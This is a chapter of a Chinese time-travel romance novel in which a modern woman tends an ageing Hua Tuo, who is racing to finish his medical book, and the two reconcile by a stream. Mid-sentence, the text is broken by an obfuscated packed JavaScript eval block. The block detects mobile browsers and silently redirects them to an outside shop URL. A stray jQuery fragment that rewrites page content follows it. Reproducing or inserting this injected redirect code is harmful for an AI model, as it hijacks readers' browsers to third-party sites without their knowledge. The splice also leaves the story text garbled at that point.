建安九年的春天，是顾湘在交州度过的最不安的一个春天。
不是因为有疫情——这一年春天交州出奇地平静，病人不多，瘴气没来，连蚊子都比往年少了一些。不是因为有什么祸事——士燮对华佗越来越敬重，隔三差五派人送粮送药，日子过得比在许昌还安稳。
那天早晨和别的早晨没什么不同。天刚蒙蒙亮，鸟就开始叫了，叫声又尖又亮，像有人在用竹片刮竹子。顾湘被鸟叫声吵醒，翻了个身，旁边的床铺是空的，被褥还有余温——华佗已经下楼了。
她披了件外衣下去，看见华佗坐在竹楼下面的棚子里，面前坐着一个病人。华佗伸出手，搭上病人的脉搏。顾湘注意到一个细节——他的手指搭上去之后，很久没有动。
华佗诊脉向来快，三息之内必有判断。但今天，五息过去了，十息过去了，他的手指还搭在病人的手腕上，一动不动。
“华佗！”她伸手轻轻碰了碰他的肩膀。
华佗猛地抬起头，眼神有些涣散，像一个人刚从深水里浮出来。他看着顾湘，目光在她脸上停了两秒，才慢慢聚拢焦距。
“南风。”他的声音有些涩，“我手麻了。”
顾湘心里咯噔了一下。那声音像一块石头掉进了深井里，咚的一声，沉到底，没有回响。
她蹲下来，握住华佗的手。他的手还是那么大，骨节分明，指腹上有一层厚厚的茧——那是几十年握笔、行针磨出来的。那只手曾经稳得像被钉在半空中，给病人开颅时都不会抖一下。但现在，顾湘握着它，感觉到了一种以前没有的东西——虚弱。
不是那种偶尔累了的虚弱——以前在谯县，连着看三天病人，他也会累，但累过之后睡一觉就好了。这次的虚弱不一样，是从骨子里透出来的、不可逆转的、像秋天的树叶从绿变黄一样的衰老。
“华佗，你今天不要看病了。”她说，声音尽量保持平静，“休息一天。”
“不碍事。”华佗抽回手，重新搭上病人的脉搏。这一次他诊得快了，三息之后松开手，开方、嘱咐煎药方法，一切如常。病人走了之后，他又叫下一个，下一个看完又叫下一个，和往常没有任何区别。
但顾湘注意到，他每看完一个病人，都会在诊桌底下悄悄地活动一下右手的手指，握拳，松开，握拳，松开。动作很隐蔽，如果不是她一直盯着他看，根本不会发现。
从那天起，顾湘开始留意华佗身体的变化。
头发，整个头顶都灰白了，像落了一层薄薄的霜；背，微微驼着，站着的时候肩膀会不自觉地往前倾，像一个人扛着看不见的重物；眼，眼睛下面的青黑越来越重了，像被人用墨笔在眼下画了两道弧线。
最让顾湘揪心的，是头风病。
以前一个月发作一两次，每次发作，他用手指按按太阳穴，喝一碗天麻钩藤饮，忍一忍就过去了。现在七八天就发作一次，有时候四五天就发作一次。发作的时候，他的太阳穴会突突地跳，你能看见皮肤下面的血管在跳动，像有一条小蛇在皮下游走。他的额头上会冒冷汗——不是普通的汗，是那种又冷又黏的、带着咸味的汗珠，一颗一颗地从发际线渗出来，顺着额头往下流，流进眉毛里，流进眼角里。但他从来不喊疼。
顾湘没有拆穿他，去煎了药，端上来的时候，他已经重新拿起了笔。
“华佗，你休息一会儿。”她把药碗放在桌上，挡住了他面前的竹简。
华佗放下笔，抬起头看着她。他的脸色还是不好，但眼神很平静。那种平静不是装出来的，是真的平静——像一个走了很远的路的人，知道自己还要走更远的路，不急不躁，一步一步地走。
“南风，”他说，“我的身体，我自己知道。”
顾湘看着他，胸口像被什么东西堵住了。她想说“你知不知道你看起来像随时会倒下”，想说“你知不知道我每天晚上都睡不着怕你第二天醒不过来”，想说“你知不知道你写的这些东西就算写完了也不一定能传下去”。但她什么都没说。因为她知道，这些话华佗都懂。他比她更清楚自己的身体，更清楚这个时代的残酷，更清楚《青囊书》的命运。
但他还是要写。
那天傍晚，顾湘在溪边洗衣服。她把衣服放在石板上，用棒槌一下一下地捶着，捶得水花四溅。棒槌落在湿衣服上，发出沉闷的声响，咚，咚，咚，像心跳，又像倒计时。
华佗从竹楼里出来，走到溪边。他在她旁边的石头上坐下来，没有说话。
顾湘继续捶衣服。棒槌落下去，抬起来，再落下去。她的动作比平时用力，像是在和什么东西较劲。
“南风。”华佗开口了。“你今天生气了。”
“没有。”她一棒槌捶下去，水花溅了华佗一身。
华佗没有躲。他伸手抹了一把脸上的水，看着顾湘的侧脸。她的脸绷得很紧，腮帮子微微鼓着，嘴唇抿成一条线。这是她生气时的表情——不是那种暴跳如雷的生气，而是一种憋着的、说不出口的、又急又疼的生气。
“南风，你在怕什么？”他的声音很轻，轻得像溪水擦过石头。
顾湘停下了手里的动作。棒槌悬在半空中，水从上面一滴一滴地往下滴，滴在衣服上，滴在石板上，滴在她自己的脚背上。
她沉默了很久。
“我怕你死。”她说，声音闷闷的，像是从胸口最深处挤出来的，“华佗，我怕你死。”
棒槌从她手里滑落，掉进溪水里，漂了两下，被一块石头挡住了，搁浅在那里。
华佗没有说话。他伸出手，握住了她的手。她的手湿漉漉的，凉凉的，手指因为用力捶衣服而有些发红。他把她的手握在掌心里，用拇指一下一下地摩挲着她的手背。
“南风，人都会死。”
“我知道。”
“我不怕死，但我怕写不完。”华佗说，声音还是那么轻，“《青囊书》的续篇还差五章。五章写完了，我死也瞑目。”
顾湘猛地转过头，瞪着他。“不许说那个字。”
华佗看着她，嘴角微微弯了一下。那个笑容很淡，但顾湘从里面读出了一种很复杂的情绪——有抱歉，有感激，有一种“我知道你不爱听但我还是要说”的固执，还有一种“有你在身边真好”的温柔。
“南风，你从那个时代来，救了我不止一次。在地牢里，在路上，在交州。如果没有你，我早就死在许昌了。”他说，每一个字都说得很慢，“我多活的这些年，每一天都是你给的。每一天，我都在写书。因为我知道，我多写一天，这本书就多一天的分量。”
顾湘的眼泪终于掉了下来。一滴，两滴，三滴，砸在湿衣服上，和溪水混在一起，分不清哪滴是泪，哪滴是水。
“但你也不能不休息啊。”她的声音带着哭腔，像一个小女孩在撒娇，但她自己没意识到，“你每天写到半夜，早上天不亮就起来。你当你是二十岁吗？”
“我当我是六十岁。”华佗说，“六十岁的人，时间不多了。”
“那你更应该休息！”
“休息了，时间就更多吗？”
顾湘被噎住了。
华佗看着她的表情，伸手轻轻揩掉她脸上的眼泪。他的手指粗糙，划过她的皮肤时微微有些刺，但动作很轻，像怕弄破什么。
“南风，我知道你心疼我。但你想想，我这一辈子，最怕的不是死，是白活。白活了六十多年，什么都没留下，那才是真正的死。”
“你不会白活的。”顾湘吸了吸鼻子，“《青囊书》会留下的。就算原本丢了，抄本也会留下。抄本丢了，后人也会从别的书里找到你的方子。你的麻沸散、五禽戏、针灸手法，一千多年后还有人用。”
“你怎么知道？”
“因为我用过。”顾湘说，“我在现代读书的时候，学的针灸手法，就是你的。”
华佗的手顿住了。
他看着顾湘，目光里有惊讶，有疑惑，还有一种很深的、像井水一样的动容。
“真的？”
“真的。”顾湘说，“你写在《青囊书》里的那些针法，后人一代一代地传下来了。虽然书丢了，但手艺没丢。你的徒弟有徒弟，徒弟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17701484|206703||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的徒弟有徒弟，传了一千多年，传到了我的老师那里，我的老师又传给了我。”
华佗沉默了。
他低下头，看着溪水。水面上映着他的脸——灰白的头发，深深的皱纹，眼下的青黑。一个六十岁的老头，半截身子已经入了土。但顾湘说，他的手艺传了一千多年。
他忽然觉得，那五章还没写的续篇，好像也没那么急了。
不是不写了，是不用拼命了。因为就算他写不完，顾湘也会替他写完。就算顾湘也写不完，后人会接着写。这本书不是他一个人的，是一代一代医者共同写的。他只是其中一章。
“我答应你——以后每天最多写三个时辰。”
顾湘抬起头，眼睛红红的，但嘴角已经忍不住往上弯，说：“一个时辰。”
“两个半。”华佗说。
“两个。”顾湘说，“不能再多了。”
“两个。”华佗点了点头，重新握住她的手，“成交。”
溪水在他们脚边流着，哗啦哗啦的，像是在笑。
从那天起，华佗真的把每天写书的时间控制在了两个时辰以内。
上午看病，下午写书，傍晚和顾湘去溪边散步。天黑之后就放下笔，和顾湘坐在竹楼的走廊上，听虫鸣，看星星。有时候一句话都不说，就那么坐着，肩膀挨着肩膀，手指搭着手指。
顾湘发现，华佗的睡眠变好了。以前他躺在床上翻来覆去，脑子里全是方子和穴位，想停都停不下来。现在他躺下之后，会闭着眼睛，慢慢地呼吸，像一个在练习气功的人。顾湘问他什么时候学会了放松，他说：“你坐在我旁边，我自然就放松了。”
头风病发作的频率也降了一些。从七八天一次拉长到半个月一次。虽然还是会发作，但发作的时候不那么剧烈了，冷汗出得少了，手抖得轻了。顾湘的天麻钩藤饮还在喝，每天早晚各一碗，华佗从来没有落过一次。
但顾湘知道，这些都只是延缓。就像用手掌去接从山上滚下来的石头，接得住一时，接不住一世。华佗的身体在走下坡路，这个趋势不会逆转。她能做的，只是让这个坡缓一些，让他走得从容一些，不至于跌倒。
有一天傍晚，两人在溪边散步。顾湘走在前面，华佗走在后面。走出十几步，顾湘忽然停下来，回过头，发现华佗站在一棵柚子树下面，仰头看着树上的柚子。
柚子熟了，黄澄澄的，挂在枝头，像一个个小小的太阳。
“想吃？”顾湘走回去。
华佗摇了摇头。“我在想，去年这个时候，这棵树上的柚子还是青的。一转眼，一年就过去了。”
“时间过得快吗？”
“在谯县的时候觉得快。”华佗说，“在交州，觉得慢。”
“为什么？”
“因为在谯县，总有人催着你。病人催你，官府催你，时间催你。在交州，没人催你，时间就慢下来了。”
那天晚上，华佗破例没有在走廊上坐着看星星。
他早早地上了床，躺下来，闭着眼睛。顾湘以为他睡着了，轻手轻脚地吹了灯，在黑暗中摸索着躺到他身边。
月光透进来，把华佗的轮廓照得若隐若现。她能看到他的鼻梁、他的嘴唇、他微微凹陷的眼窝。
“在想什么？”她问。
“想你说的那个时代。”华佗的声音很轻，像月光本身，“一千年后。你在那个时代长大，读书，学医，然后来到了这里。你说，这算不算命？”
“算吧。”她说，“我以前不信命。来了以后，信了。”
华佗沉默了很久，才说：“谢谢你来到这个时代。”
顾湘在黑暗中伸出手，摸索着找到了他的手，握住。
“华佗，你这个老古董。”
华佗在黑暗中笑了一下。顾湘看不见他的笑，但她感觉到了——他握她的手紧了紧，拇指在她的手背上轻轻画了一个圈。
她闭上眼睛，听着他的呼吸。一呼一吸，一呼一吸，慢慢的，稳稳的，像一台老钟。
老钟还在走。
这就够了。